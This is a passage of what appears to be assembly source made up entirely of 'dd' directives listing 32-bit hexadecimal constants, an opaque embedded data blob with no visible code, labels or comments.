90482FF2h, 21039D0Ch, 0EAB310C0h, 3B7E9860h dd 8FE429h, 0AA34D2B2h, 1C849D55h, 9C0B2300h, 6873EB69h dd 0FB661E94h, 0FE3340C8h, 0B3A6FA18h, 56A73A00h, 67EE32E4h dd 0FF6F1C85h, 22C80046h, 0C7718FD3h, 1B005FEAh, 0EEABB71Eh dd 440E77h, 465349E6h, 6114A03Dh, 50BA9500h, 39776066h dd 3508CCADh, 5E001321h, 7B08B95h, 0B91F6h, 0CC668EE8h dd 0C25C0380h, 0CB850C1Ch, 82FE8Eh, 0F90161D2h, 404161B8h dd 609B334Bh, 1FF80D21h, 34538D03h, 0C143D979h, 4080EEF8h dd 3D44F224h, 6F0C3A2Ah, 803482F4h, 2E8003C0h, 979018F8h dd 92FE721Eh, 203B8F8Ch, 2EA80EC3h, 0BC8088A3h, 0CB3A57F9h dd 0D94DEC00h, 4BF6A179h, 66A3B041h, 583868EBh, 0C03169C8h dd 18D22E9Eh, 54656E07h, 80EE7055h, 0E936B5E2h, 1E080E0Bh dd 79800A0Eh, 6A3B1D33h, 5C4D8700h, 6674E1C8h, 6F513EFCh dd 19B52A18h, 9A3E5E01h, 563701FEh, 1342C37Ah, 0D3D4E9EDh dd 5AE840h, 0CEAAE45Ch, 0A6A38E06h, 565E5900h, 130CF766h dd 5D9600C7h, 48CC315Ah, 4474DDF0h, 2BCA5300h, 0AB3725EBh dd 59960047h, 0F6C96CEAh, 0F4004FACh, 0E245E7BDh, 7FFBB0h dd 47B8DF3Ah, 94D4B575h, 0E6D6800h, 69EDCD8Bh, 3F64774Bh dd 2D809627h, 893B0FC9h, 0FF30DAA0h, 577D408Bh, 0A2880380h dd 0E79733B1h, 14ED1800h, 0A8D421E3h, 437301ACh, 1C26CB3Bh dd 1000E746h, 5775339Bh, 935068h, 37BCA2DBh, 0E954D1Bh dd 6EDE6200h, 7ECF56D5h, 60BB6F94h, 0C0E8AA87h, 26FFEF15h dd 18DD557Ah, 0A7BA7940h, 6C3CCE2h, 0FCDB965Dh, 0B63BE188h dd 861A8012h, 45F9E990h, 8FE0057h, 71E2EB7Ch, 6200E85Ah dd 0B17048E5h, 0ECFF1222h, 245502A0h, 38201BCh, 0E31F6EE0h dd 7D6AD200h, 8785F2CCh, 73580069h, 8A50DF7h, 0BC00FEFAh dd 0FB65537Ah, 0CE26F403h, 4A007C18h, 5A09935Dh, 9ACFD100h dd 79C3BA58h, 0FC9C01EBh, 1328FA0h, 0F16EE06Bh, 0DF2B8B03h dd 0A820C8FDh, 0B840371Dh, 26603EC5h, 557F1B00h, 0A5217C0Fh dd 82CB731h, 0F1705F08h, 4F37001Ch, 9A445C69h, 0E002550h dd 2201F40Dh, 70AC0FFh, 1B11032Eh, 0F0C6C1E1h, 67E6E84Eh dd 0B402E506h, 12D8859Ah, 1FD2AC66h, 0FB0A40FDh, 41F4B760h dd 6A95CC18h, 95F5E88h, 0E77EBBD5h, 7F75680h, 320034AEh dd 6C4E9CCEh, 74FB8F2h, 87B5E8D9h, 3B6743D8h, 0A6B12000h dd 6156B47Bh, 0F8F73C22h, 8058961Eh, 0A2463612h, 0F518C5D6h dd 3C3006C4h, 2ABF0014h, 0AD89025Fh, 0F83ABBAEh, 213030C8h dd 28F7DAh, 0A5783BF2h, 68338EC4h, 0F892C103h, 0FBA27209h dd 81409847h, 304BFDD1h, 0CFC4E782h, 19ED2110h, 0C960B134h dd 43D0605Ch, 0C77C3600h, 0A98EC185h, 9A1C032Bh, 1A1BD871h dd 0F3346100h, 2C897037h, 16335CE7h, 1A3F0F75h, 0AE71842h dd 7BEAE0Eh, 0E5E9AFABh, 0C5AC413Ah, 8EBC45B5h, 7BB738h dd 0D4FE12D6h, 0B198000Ah, 62ABC80Fh, 100E3EEh, 0E6FC9A3Ch dd 9B191Eh, 30A4DFC6h, 4E2BAC8Ah, 0C2C38100h, 58D99D2h dd 295F30AAh, 0F6678E10h, 36ECE38h, 0F326610Bh, 8DE3E01Bh dd 184D58FBh, 2760420Fh, 48772943h, 0B932F3B0h, 0E61F1101h dd 0D15189D0h, 739F6CD8h, 2B7ACDh, 0B5CF295Ch, 0E27F3D53h dd 49C30303h, 0A915C680h, 22F06131h, 0F8910C48h, 54B8A69Dh dd 14A88B00h, 69BE497Dh, 64360126h, 24BC7029h, 41C1608Ch dd 0C86A3Bh, 0B884BEE2h, 8E2653h, 8D85B2B1h, 89F158ECh dd 0D6904E60h, 3C461Ah, 8BB38C43h, 2AD3BFA4h, 307673Ah dd 59554E3h, 808DA0E1h, 0A6720008h, 869D2E33h, 0C00844Fh dd 0E55CE087h, 0E46B22Ch, 66F9D5D3h, 77B415h, 61EBAEFBh dd 6B2F2C6Ch, 18188D60h, 3573F77h, 4C9B95E9h, 0C3E13524h dd 146DD09Fh, 0A0076600h, 0B6932D91h, 253107DAh, 0B01179E7h dd 80640954h, 0C0DE2900h, 874AE5B5h, 79B7E6F9h, 0D06E004Fh dd 0AA72C466h, 0F800DCCDh, 887694CCh, 1F4F02A3h, 8114E9D2h dd 28342747h, 51F3041h, 8C2D6D06h, 384A24h, 773806BCh dd 46B0EBE2h, 0ED98C800h, 0B195F4E6h, 28E90104h, 0BF700226h dd 0A6F770D1h, 0D9A0122Eh, 0AEC0AB1Dh, 439881CFh, 2D210074h dd 9D020AA8h, 85F0766Fh, 0E0363700h, 72DB94E5h, 161300D7h dd 7140B526h, 92033148h, 0DD5C3382h, 605ADA53h, 4D795Ch dd 68A105A2h, 65AB2FA9h, 0DBCFCE1Fh, 84D2BE87h, 969F5A30h dd 971C0175h, 439CC247h, 45B740E5h, 951412FCh, 18CA5A7h dd 1F21B653h, 2BE0B548h, 874C3041h, 0BB88EFC0h, 0D800CEE4h dd 120BB83Ah, 3906C7B4h, 0FC1CCCB5h, 0DD0F40B3h, 0CE928D8Ch dd 3BDC0101h, 8F4F6255h, 0D73E1080h, 0DE371AD4h, 518C0C31h dd 0AE20D8D6h, 91B30BB6h, 4B00B03Bh, 0DE2668C8h, 1C140350h dd 0F7D8DD18h, 1CB7069h, 0AA9A5FA1h, 0A8A59DD4h, 0FD0FED40h dd 827DF063h, 80D980DCh, 0E41C470Ch, 0ACB40CBEh, 9848F101h dd 6B2B901Ch, 6F0A4C43h, 382185DEh, 4080A440h, 396A7E55h dd 3B1E2BCCh, 0BF40B991h, 6FCE9581h, 0F5EB18B1h, 2879388Bh dd 76927700h, 0CFA5671Bh, 0DFB8006Fh, 0C3D81CA1h, 54004AB9h dd 9FE8E6F4h, 18408B0Dh, 28F9125Eh, 0E2004125h, 6EAF278Eh dd 23FF7Eh, 0BD9580EDh, 54BADF68h, 92A9E103h, 0A0B7CB38h dd 0AC1C35h, 0FD1D1067h, 5856B840h, 0F9267901h, 5FD245C1h dd 9491F0h, 403522D6h, 0A5DCFFA3h, 8018BCFFh, 0CB75377Eh dd 0B8A9E0h, 0BFC04381h, 0E353A03Eh, 0ACD4781Eh, 0B1AF1B00h dd 0FA37721h, 6CD74AD2h, 0D603B640h, 660061CCh, 42EA36BEh dd 0FA4081A3h, 91FC0EF9h, 264090F5h, 0EA6325E4h, 5EF810EAh dd 0B4491903h, 96AE29AAh, 32C8598h, 0FFC94DA9h, 0B4CDA819h dd 0DFE417F1h, 18D06018h, 54B8DEDh, 8E6D3C00h, 0FFCB1C28h dd 0B288A016h, 45CD033Fh, 0A9B1222Bh, 20EE4100h, 0C53D688h dd 0B278C325h, 0B6D8866Ch, 98027018h, 671AD1Fh, 6776E002h dd 0C16000DCh, 9AB8F726h, 4304AFEh, 0A8F6E0FAh, 524A852h dd 0B62100C4h, 3937A5C7h, 181858B0h, 91903F69h, 0B92D605Ah dd 0AAEBA568h, 309849DBh, 2E9E821h, 0AD0731B8h, 4FC15D85h dd 509BA1F1h, 0FA2BD060h, 62700043h, 0A3D687FBh, 0B100AD63h dd 55CA27B0h, 39EFB5F9h, 3F8F21E8h, 175FCED0h, 537A00D2h dd 9D86C760h, 59EA2200h dd 0F6A24433h, 2D710C82h, 11100DCEh, 5EF08F00h, 259F4F7h dd 5851FEBh, 41B880BFh, 8B2B4E81h, 0C8376A00h, 0F998D866h dd 0D0711FD6h, 0AF3B7DE9h, 0A0416180h, 0D32535C3h, 0B53A600h dd 269C69ABh, 19E0031h, 94EC9093h, 90A0139Bh, 0C7002A10h dd 6F473A48h, 1C8965h, 0CB2CBF51h, 31365364h, 6082CF00h dd 0A58F6DFBh, 39B0087h, 1481B9DCh, 3B0350C2h, 0D3801084h dd 0CC99B0A4h, 0E8A000EFh, 0A102D452h, 0D814853Dh, 3EB81ED5h dd 0A558F56h, 8E9B0057h, 65D9AAh, 14B2F68Fh, 6C01BF46h dd 0AD001AFCh, 16AFAE22h, 0E8D62F85h, 29691471h, 5D00FF34h dd 2D77C886h, 520F6EB7h, 80CF9CA1h, 0F0845B5Ah, 729E00F2h dd 91A84924h, 3D14A944h, 3AFC8CEAh, 174300E6h, 0CA9ECE28h dd 988900C4h, 0EE957FD6h, 82F40F10h, 498D8000h, 17552301h dd 3BAB0060h, 0FC91219Eh, 9A1FE607h, 39706Eh, 4A2DFEA9h dd 541E58h, 0A240A811h, 277EC2C8h, 0B95BB500h, 8F6F6DC6h dd 8889013Ah, 58A10908h, 87DFF828h, 4667C703h, 0F0EC9C15h dd 4E5C5Ah, 0A13D1F68h, 0D3569EFAh, 6A12E91Eh, 0DE087380h dd 1452CBh, 1D78A39Ch, 0E1990B71h, 891F8D0Eh, 0D1B82190h dd 0EEF1E281h, 27542880h, 37496F17h, 9A588700h, 403FDEF3h dd 5A280019h, 0FBFC22C0h, 0C600AC33h, 9FA8299Eh, 5436B38h dd 28C1DD3Ah, 1D830E5h, 0B5051C66h, 40C821A8h, 0EB90F080h dd 0F63C398Dh, 87C00924h, 606DBCA5h, 871986AFh, 0A86B1F00h dd 1240D0B6h, 3B731Ch, 311980Dh, 42B37F38h, 78FD9B00h dd 44C71B01h, 0CDDE023Ah, 8E639A1Eh, 307EB280h, 9B00BCB7h dd 3C3D9597h, 8CE2E1h, 2A2862E7h, 32E4EBC1h, 0AAFF5D00h dd 76EC892Eh, 0BEE60199h, 9D5B1C29h, 0D4EDC074h, 2698316h dd 0B47800EFh, 9151F209h, 3D6DAC00h, 2C275C76h, 25CB00ADh dd 0C30FF670h, 3C001D62h, 30E8966Ah, 90AB95D2h, 552003Ah dd 9C377271h, 7048BAF6h, 81C70270h, 75D3B8F5h, 11380DC0h dd 0C1A83551h, 0FD29306Fh, 124BDE00h, 0F296A946h, 337D004Eh dd 1C3C8A7Fh, 0DD000BDFh, 210F059Ch, 349AFCh, 0A7A1A27Bh dd 0D4EEB73Bh, 0A3C57C00h, 78381BB1h, 0EACB073h, 0D92EF494h dd 92112AE0h, 0B204CC69h, 401D59E0h, 0CE0776C0h, 0C28F1E87h dd 5CC7C0E6h, 0B91C8CDFh, 109A1E79h, 19287300h, 760E26F6h dd 0ED90A8BDh, 12673E45h, 0C2C4431Fh, 13BEB650h, 0AB909EE3h dd 294C3FFFh, 0E5040050h, 88CE0876h, 0DB1C142Eh, 0AF0368D3h dd 0F669914Fh, 8EF8559Bh, 0E400A732h, 1B587A40h, 3F7EA9h dd 0A6CB95D3h, 0EC18AF92h, 0C258B260h, 0F1BC9863h, 0B54CF0h dd 0C80112E3h, 0AC664AF3h, 2E83D81Dh, 0F8864Fh, 97B239Bh dd 484700DCh, 4B440881h, 9338A519h, 995A8330h, 8867329Ah dd 78027FAAh, 0B2A70FFBh, 0BDC08D09h, 0BB4256AEh, 70EF73E6h dd 0C40018CEh, 75A5AF8Bh, 0ECF2194h, 0DAA00716h, 59F6E880h dd 6100428Fh, 735C1C4Fh, 0F85F95F0h, 0A89355h, 0C5E245FDh dd 5614D398h, 0B02AA7h, 0C3F9AFF5h, 53717BFh, 19E7D5D1h dd 4C64901Ch, 521E6DD4h, 2D008DB8h, 4A247B4h, 7B030723h dd 80837DBEh, 9B4B82C4h, 0D063DA09h, 0F84800FBh, 4CBD1576h dd 8A1484F1h, 0B85024D7h, 9F940028h, 0E647DBEBh, 0B9008A12h dd 1AC7B7A2h, 3ECBFFh, 7959FB8Ch, 9EEA951Dh, 28903F1Dh dd 5A744580h, 1A2B87Dh, 0AB05F165h, 0C48ECB15h, 3B01B64Ah dd 0C36ECDFh, 9EE404F5h, 0E4724C0Fh, 59158402h, 0C4404308h dd 0B307607Ah, 9FD1F275h, 7C13130h, 0B50418C3h, 0F8A13071h dd 1C905AF6h, 0F237CE07h, 0ED52EFD6h, 0F4645Ch, 6EFBA1DAh dd 4C2604CCh, 8A3E3501h, 0B0CF5F60h, 4BD6E3D0h, 0B2930BE1h dd 7980D420h, 3E0069CCh, 0B820392Ah, 0FA161FFCh, 68600B9h dd 9892B3C3h, 0CA0019D1h, 0FB24EA72h, 73E21Fh, 0E7DFFAE5h dd 4F334D02h, 0F1AD7A00h, 9DE810F8h, 6467001Bh, 7F91B17Dh dd 0CB749C82h, 5D2CD501h, 1B69B803h, 0F9ED64DCh, 74E0C60h dd 1E11FCC8h, 0C0EF14B9h, 793EFD58h, 30672A00h, 5DAE7462h dd 38C80EEDh, 2A71856h, 32AD7184h, 0A420202Bh, 6C869A01h dd 0BBF9C04h, 21C1ECh, 0FF40B879h, 1E16FD8Eh, 0F875A01h dd 967429EDh, 7C2F6ECh, 0D8573B92h, 3762004Ah, 0EDE42D98h dd 1D73BF01h, 14410C85h, 2A72A6E0h, 0C48CC9h, 0AB4E196h dd 0D271D02Ch, 3DF69D00h, 0E04B066Eh, 49361D9Ah, 2E23C05Eh dd 0E32BFF24h, 0C4ED2912h, 0E7DB3B07h, 80D3B512h, 175283FAh dd 0F40EE08Ch, 2A7F0035h, 0AAC1A055h, 0EF0ADAD1h, 880C3E10h dd 3F29AE00h, 0A2C88Dh, 59320E85h, 43AC3F0h, 0D3F639h dd 0EAFA518Fh, 7E9BC66Ch, 2DA8A0B6h, 816E1316h, 71DC0184h dd 20707788h, 18000A30h, 59A439CBh, 3102CFh, 0D8B79626h dd 2714EFE7h, 28C9E400h, 0E3CC6285h, 80540324h, 27D7A22h dd 82815EE7h, 64351B6Ch, 4B143744h, 3CC2729h, 0FCBC54FBh dd 7B601D38h, 90EDC02Bh, 321571E6h, 0A5CC9F48h, 79CBF030h dd 0C3FD1F44h, 8C6214AAh, 0D8937C00h, 3E92DBF8h, 890AB103h dd 0BB5528F4h, 219AA8ADh, 0FF4600F1h, 0E269ABC4h, 0ED005007h dd 0BDA967Ah, 4C1BADE4h, 98A0F01Ah, 0E00B62A3h, 6DC772h dd 0F7A16C50h, 36EE25h, 0F02CCF4Bh, 0D71564B8h, 4F0377B0h dd 8DA986DDh, 302EC056h, 0E3A30041h, 0D745B296h, 0B400ACBCh dd 4D9BDEAFh, 7913C9h, 8CF45329h, 855D5A34h, 2EB0EF0Fh dd 20D7890Bh, 0E3712F2Ch, 20AC0273h, 0D6E1540Ah, 2218848h dd 87D0E00h, 0DE9D2FF4h, 37CA0972h, 3480EBD8h, 0F9B3266Eh dd 0D70574BAh, 8E79FAC1h, 34AFC80h, 0B6BD00E5h, 0E3C44722h dd 10B8ED7Dh, 7C38F20h, 0E0F4604Ah, 75F6D09Dh, 34849A3h dd 544A7E48h, 0B30047F8h, 3CC6237Fh, 0A501C779h, 0B5BA8B59h dd 11801187h, 86B6952Dh, 390464E3h, 70A7906Ah, 0B06B3490h dd 1CB081h, 0ADFF7183h, 0A33942C5h, 807C14Bh, 5A07587h dd 0B3ED407h, 6CC94A90h, 0E3F96480h, 1CEC513Bh, 0DBD2E700h dd 78ED84AAh, 74DF0044h, 4D76CF8Ch, 10C05D08h, 2D6599F2h dd 2420021h, 1363DECCh, 0C42EF9A0h, 0F1F0C89h, 0BA45BC40h dd 18DD4ADCh, 5E9228EBh, 0A8D4736Eh, 0FF7DC098h, 17781F10h dd 4E759E80h, 7C642110h, 1100A26Bh, 5D021EC0h, 7F5FD806h dd 3F1AD098h, 0D8B05090h, 0AD0294A7h, 41F44349h, 48ABDC8Ch dd 0DE31608Ch, 0F806F95Ah, 0BCEC33AAh, 8D930026h, 91695B6Fh dd 1902E2FCh, 8B0EEA41h, 0BF95C33h, 0AB004E95h, 0C3103BB7h dd 0FD6F81Ch, 99912300h, 7514E7h, 90B6A9Ah, 0D4CB11BEh dd 17A084C2h, 143E60CFh, 0C9ED002Ch, 0D32B2570h, 45005665h dd 5210FCB7h, 79302F2Dh, 7E4200ABh, 6C9389A8h, 5C0FB5D3h dd 0E7355770h, 6FA3DDBAh, 0F444C843h, 0D60700D1h, 49C508B9h dd 774EA13Eh, 10B6EC00h, 390B1106h, 0F680DEAEh, 2A20AF9Dh dd 4D0084FDh, 142BE927h, 90D3EEh, 72FED123h, 135B89D6h dd 3AA01F00h, 0C5A33436h, 517D3A32h, 69F6EF00h, 4ABDDF7h dd 220C8C02h, 70BBD4A4h, 2DA200DCh, 0E5F324B6h, 0B8005A6Dh dd 0EC748036h, 6AD2896h, 0D181E42Bh, 5BF030B0h, 900E578h dd 10267C9Eh, 0D0E428h, 0AB06BA87h, 0FB4294D2h, 54B74700h dd 0CFA2342Eh, 14078FFh, 0E2E5CD4Ah, 0E00BA106h, 0BF0C88F0h dd 38A8F56Ch, 41FB0599h dd 4ABD05D3h, 8054A288h, 0E2C13426h, 0D27BDB3Ah, 0AF710C12h dd 464C810h, 5B24B2ECh, 34D1FA00h, 2CF61D12h, 0D43FCB03h dd 88DA29EEh, 6FAE6Eh, 0C14FB621h, 46017122h, 19ECF301h dd 1EDF3A60h, 20BFBE4h, 9B4AD5CEh, 4BE3349Dh, 2554F698h dd 419A4900h, 0F4C2FDEEh, 0D4D900E7h, 8FB98ECEh, 1F01A607h dd 60DC9115h, 0C6C44E31h, 0E26B0126h, 874F6586h, 0C0032E30h dd 90282049h, 0A47DADh, 0EEAE26C1h, 9D371802h, 3312E00h dd 1B8C93ABh, 6EEC00CDh, 0FF08EB77h, 0E700E0F6h, 0E5FC4E1Ch dd 5F4471h, 384BF197h, 82635498h, 231ECB00h, 0A457C293h dd 0C74A005Ch, 732405E4h, 0F300E929h, 98D02DCBh, 1C1E68Ah dd 7FA396C4h, 0D05A6F6Eh, 0E101B151h, 0B648D5A9h, 0F84079F9h dd 1DD9EE7h, 3019B706h, 0F054E213h, 0AC985CB1h, 34A28B0Ah dd 3F0D10ECh, 0E810384Ch, 12EE7A35h, 544602A7h, 400A3F8h dd 0E4485A88h, 603A9226h, 315130EAh, 0D6B90Fh, 1A5CECA1h dd 7B401198h, 1CF88500h, 8A628E91h, 267757h, 0C0305F07h dd 0E45001B7h, 7A39491Fh, 4E6A0038h, 0DED37627h, 4DB70F05h dd 6165B050h, 3059C75Ah, 0A968DBC4h, 6C7A5307h, 0BF801495h dd 7AA32C07h, 828F001Ch, 0B764D781h, 2239F80Eh, 69600026h dd 0F7344C72h, 58B40715h, 403F95D7h, 7BD74F4h, 0F36E1907h dd 5BB12C70h, 0C7DC3759h, 8CA00016h, 34E526D2h, 3A1F56D4h dd 0AE4E0745h, 0B000769Fh, 33BF0237h, 9A3E0067h, 0D47EC64h dd 0B6EAAFA9h, 0D0256E00h, 73343F8Ah, 2DC0087h, 0BE710ED7h dd 7D7AC54Bh, 0A71676FAh, 64006937h, 0F5CCEFBCh, 77C61738h dd 2AB500C9h, 0AC33279h, 721EA0C0h, 1D76C8h, 8FED58Ah dd 87962277h, 0C0CFDA98h, 1E120CDh, 1B50B9h, 71BC02A9h dd 3E8375AEh, 0ED1998A8h, 5150D13Dh, 9F87E080h, 9341DC00h dd 9CA8777Ah, 2E0930CFh, 0F6626550h, 2CC58900h, 0AF5E262Ah dd 0D670079h, 74E08AF5h, 0DA1818EAh, 5682E9Fh, 0BB83008Fh dd 0D10E1DB5h, 3500E8FFh, 586D7895h, 0FFE6F52h, 45B737EDh dd 0F88B9320h, 0CE1D5794h, 67C039D3h, 4DA979F6h, 0B17B006Ah dd 0C509D159h, 0A014135h, 791EF088h, 0DBE443B9h, 879F0E37h dd 2C60AAA2h, 5474FCC4h, 0F0A09B00h, 2B26F1C1h, 0A8993CC7h dd 83E24103h, 3CD3A575h, 0FDE36EB0h, 42E5770Eh, 0A267A031h dd 60DF36h, 0CC3AA36Dh, 3453CAD2h, 0B0200600h, 2343F14Eh dd 49A917DCh, 0DDA50180h, 0D83E31C9h, 243FEF98h, 4196303Ah dd 0E993C2h, 0AFE374E1h, 7BEFD392h, 314A3Eh, 9C6160A8h dd 0E87E8A26h, 50110A56h, 8F8C2078h, 12201703h, 2F0AD09Fh dd 0F1163500h, 0B5953979h, 369819h, 11A05B18h, 29F3AE92h dd 3D00B079h, 0FE552B46h, 0BA2847h, 6D2173DBh, 0D3428109h dd 7EE90C1Dh, 202D970Ch, 23200072h, 5D07F71Eh, 0A8004581h dd 11B47341h, 3E0579Ch, 9F184D06h, 0A5D9E376h, 84304A47h dd 82304756h, 39004E5Ch, 6C3185F2h, 1BF33Bh, 0AE531D44h dd 40BBBA50h, 198D8606h, 117ADEh, 90AE4C8h, 9A27A19Dh dd 0D3B1B551h, 52172196h, 3B00CF68h, 76787A80h, 0D2AE00A5h dd 0D9B8F30Ch, 28C08FDDh, 25F98D28h, 9FEC0198h, 60687818h dd 0E07980B0h, 0FD065AF1h, 0F84E074Bh, 434F1C1Ah, 10FF1E30h dd 0CC59A18Ah, 0BA206F0Eh, 1A52809Bh, 502981D3h, 1454C010h dd 94308F85h, 0C1922500h, 0E371E282h, 0E500D9F6h, 0C39C7005h dd 7AFDBAh, 0E416574Bh, 7EF287DCh, 0CC50600Bh, 754787DBh dd 0C06C6FE3h, 795B844h, 0AEDA3E84h, 6EA16079h, 0BB05BF46h dd 7F46D70h, 8EDF9403h, 0D17CA12Dh, 2CC846ECh, 0F170B0h dd 7E5F804Ch, 0FF00263Fh, 0EB71C258h, 102DB64h, 6B3D60FDh dd 0D0D23984h, 0BD061746h, 197931FEh, 71946018h, 0CDF201CCh dd 68F4D418h, 86123B91h, 9C4B5C01h, 0B4ED7FF7h, 0FA608008h dd 488A9D20h, 0F3260269h, 654ED64h, 764ED8C0h, 0E88D270Fh dd 5C5700D2h, 167FB2h, 467E8781h, 0A1B6445Fh, 5A038C01h dd 7C245CCFh, 21410898h, 0A2391DE4h, 3F58036Bh, 795EE2h dd 5178E650h, 8A07995Ch, 52745F00h, 0E9475B61h, 0A4F10F96h dd 64A0677Dh, 0F9BA0DB6h, 5F8F0A00h, 31ADE622h, 814D00CAh dd 63B91146h, 8207159Ah, 0C16F1F61h, 2B86F540h, 5B7E0065h dd 2C38A34Bh, 8300929Ah, 64AEF46Bh, 9B8EC8h, 0CA26650Ah dd 45802BE1h, 970718F6h, 37C4B5F6h, 0AC176DB0h, 7B1EEAEFh dd 8F7DA0h, 3936F244h, 1F75E655h, 0D41D9177h, 0CB40D90Dh dd 0B2D30943h, 0EBFB00AEh, 66704AABh, 4900A6DCh, 31EE45EAh dd 849192h, 0B4A219A4h, 5930B62Fh, 133A97F8h, 0F8007766h dd 63550817h, 5E5365Ch, 9DF77E1Bh, 4400C0FAh, 88F834ECh dd 40EE8000h, 0FDE69E35h, 0EF393CAFh, 632F3B00h, 45B80DF9h dd 149DAD01h, 3127A242h, 2C012080h, 0E8E31063h, 0F619641Dh dd 0FFF93E82h, 0A1200033h, 9B39821Ch, 0D7C480A7h, 0FDF77901h dd 0F9950065h, 0D2746BDBh, 30C03740h, 17283230h, 770C00F3h dd 27AF7302h, 1138D3C2h, 0FA8380BAh, 399B448Ch, 65080E1Ah dd 4B2136DCh, 808DBFE6h, 6C430A20h, 0C045A5A9h, 4F690F28h dd 70F02705h, 6B6FFB18h, 0C0412908h, 4F6A3220h, 0A602A27Ah dd 3B1738E2h, 0F1808008h, 7E167E5h, 211BEE18h, 0A3B9D058h dd 4D181C2Bh, 0EF405A9Ch, 0F9C900A0h, 0A236AEEEh, 30E3CCA5h dd 9560F69Dh, 0F2D19F20h, 723B03FEh, 0E884786Dh, 71CC18E8h dd 211728A0h, 1000CBF9h, 0F3C1D0F2h, 162397h, 0CDD9DB80h dd 89C56D93h, 0F9EB000h, 73E1A62Ah, 0BC2400DEh, 0C8B53E26h dd 5F04C26Ch, 701DB2E0h, 0FD5FC1EFh, 0FAE5FC57h, 1800E172h dd 0D96CB7F7h, 11288Bh, 63254642h, 97DBEB66h, 0CBC9AE07h dd 5020E7FAh, 3577BF4h, 49AD695Bh, 3FE06E8Bh, 9200F2EFh dd 605F671Fh, 0E95EAAC4h, 0B67F1080h, 0AD4AD2E5h, 0AF8F600h dd 0E733595Ah, 0A4BC00AEh, 6A7730BEh, 0F400ACBDh, 3574186Bh dd 0EE48849h, 0AE282C31h, 16176040h, 4C03EAE3h, 0F66F6FFh dd 0C6B9A0E7h, 1D6F00D3h, 1F7BD204h, 0C8F96B2Bh, 7F00C3FBh dd 0D59A08FCh, 74D1DB5Bh, 0FA3C01B5h, 855511E9h, 59D4D0EEh dd 33A81E12h, 782414h, 0DA41C9C6h, 0EBB6F9h, 0C5099EAh dd 0F491CD22h, 0A2305874h, 1BFB204Ah, 963512E9h, 7E7D00F7h dd 100558C8h, 8D722800h, 762711DBh, 9BF7D43h, 840A0F90h dd 0A38FEEC3h, 0F0C7DF26h, 0AA23947Dh, 0C2375074h, 0CC902068h dd 0CAA309h, 73BE8AB8h, 0EE1384ADh, 110C717Fh, 0A9DB0357h dd 601E7816h, 60B386Bh, 75267629h, 520E4CD6h, 6FA2C03Ch dd 591950h, 0C80184BBh, 35426D28h, 0FB1F6790h, 0A8707412h dd 0EF17DAh, 611EF6E5h, 86AD7205h, 63E7B91Eh, 73E8A702h dd 7A98538h, 0BE0AA400h, 0F19B33h, 444103Bh, 0F83AAEB3h dd 45699702h, 401CA6B8h, 0ED810Ch, 0E01ED243h, 873EF2DDh dd 0B0BB6B0Fh, 0A3748713h, 142F802Fh, 17A12Ch, 0D784880h dd 0FCABA5D4h, 72C1348h, 88E3D64Dh, 87B30360h, 0EC3B7792h dd 776E0373h, 0F6D9AEBDh, 30BA80B9h, 0A004125h, 0B35E58E8h dd 67B4B7Eh, 0AFBF23D8h, 527FE0EAh, 0A8114924h, 0C78F5400h dd 0D6840Ch, 26BD9B68h, 2AB90151h, 46926600h, 13B5C5D0h dd 0E6CF01D7h, 2809FD6Eh, 26212076h, 0DF570A07h, 0B8075DA9h dd 47D3A500h, 0C275001Fh dd 0B29CEEFDh, 0A0071F3h, 60981687h, 9F0667h, 0B6731E2Bh dd 919D52DCh, 37CD93Ch, 98879B5Dh, 5A7FE8D2h, 0D160061h dd 5515513Fh, 0E00C5EEh, 0F9B39002h, 78492ADh, 47D07A11h dd 5DA7B097h, 617A0975h, 87933338h, 0CEFED802h, 8294B9D0h dd 0CDE8FDECh, 0A5B50FC8h, 59C4B2DDh, 4FEF809Dh, 95509671h dd 12006EF7h, 2E7F51C6h, 0E0FAEAh, 0DE5061E5h, 80D9021Ah dd 147B203h, 83034C5Eh, 0EB7ED020h, 163B1D5Ch, 890039D1h dd 0DD0919DEh, 1800DAB0h, 0FB87BB42h, 70985057h, 6B0200ABh dd 0F26E52C1h, 800022AEh, 83853566h, 0C3A7EFh, 9C0B2733h dd 0D6C2F414h, 0AAE4CE00h, 3D9EB820h, 0FA6C0374h, 0FDCC28B1h dd 2047D3E3h, 759DE004h, 0DB50CBF5h, 48FD881h, 0CA1FC073h dd 8878BF00h, 42079E65h, 2F33B4Ch, 51AA1870h, 1E642895h dd 74D20A88h, 0B842111Dh, 0CD1F189Fh, 8821C851h, 648883F1h dd 0F02E120h, 3C430C11h, 38B9242h, 29082110h, 108E3E2Fh dd 352384D0h, 83C5C4Ah, 0B480D04Dh, 78BD8451h, 0AF6D202Eh dd 36B0810h, 94624B08h, 2983980Ch, 748E4442h, 60C76A44h dd 0EFDC7917h, 7800BEADh, 570200Eh, 0DE3FE042h, 79FA9BA1h dd 65014DF2h, 0F4D4276Ch, 944B1E70h, 0A0CE40D9h, 59636855h dd 0C637F81Dh, 1BF3E89h, 1BA23394h, 2147D0h, 592E2753h dd 0FB77AA80h, 3001E070h, 4B5D3D8Bh, 72387A5Bh, 31FFC203h dd 0D6F0F194h, 0AB00DCA3h, 0EE514C7Dh, 449F02h, 0B327BFA9h dd 5EB18DD5h, 0F6075D00h, 72A011A4h, 52570638h, 1012F397h dd 0C4D7F400h, 88690C84h, 0CB95126Ch, 541800D6h, 7C21961Ah dd 0D4760700h, 79F9A551h, 0A0433B08h, 508E4F00h, 0AAD8E96Fh dd 0D1038FFAh, 95D6CA05h, 9B040055h, 0EF8797CDh, 4AE682E8h dd 72CC0D00h, 0E077A72Fh, 5C2600AEh, 153ED26Bh, 16731A75h dd 0F712C3FAh, 5C07E8EBh, 50E01F4Bh, 98431Dh, 69223892h dd 0A904315Fh, 23D09100h, 0B843927h, 0CBAA0FF5h, 0C1A0F8ADh dd 0C252842h, 39FE7803h, 0F87ADB04h, 0DC678Fh, 0A61AF366h dd 0E27C92C0h, 20E34E00h, 27A32B87h, 5D8E003Bh, 74CE64EFh dd 12007603h, 98FF4680h, 1CF197F9h, 5E62D80Eh, 0C72C0023h dd 5BCD1C1Dh, 0A1D9A300h, 2226584Fh, 49343F44h, 9315CA00h dd 0F2162A0Ch, 0C7F9D900h, 0F559B0A0h, 4FAD033Bh, 0CF4A15E0h dd 8481DCB2h, 0C8D0F433h, 2300ED46h, 79B65825h, 10CD7AFh dd 7AB4EB2Bh, 0DBB1E62Fh, 0F8C529D8h, 2AFE2500h, 0D833AD7Ch dd 0CA2F0055h, 0EEC1F0AAh, 457920D4h, 0B9085C01h, 336A388Fh dd 3C8B9760h, 5281F782h, 95BD45CFh, 72F6D449h, 0A8005E90h dd 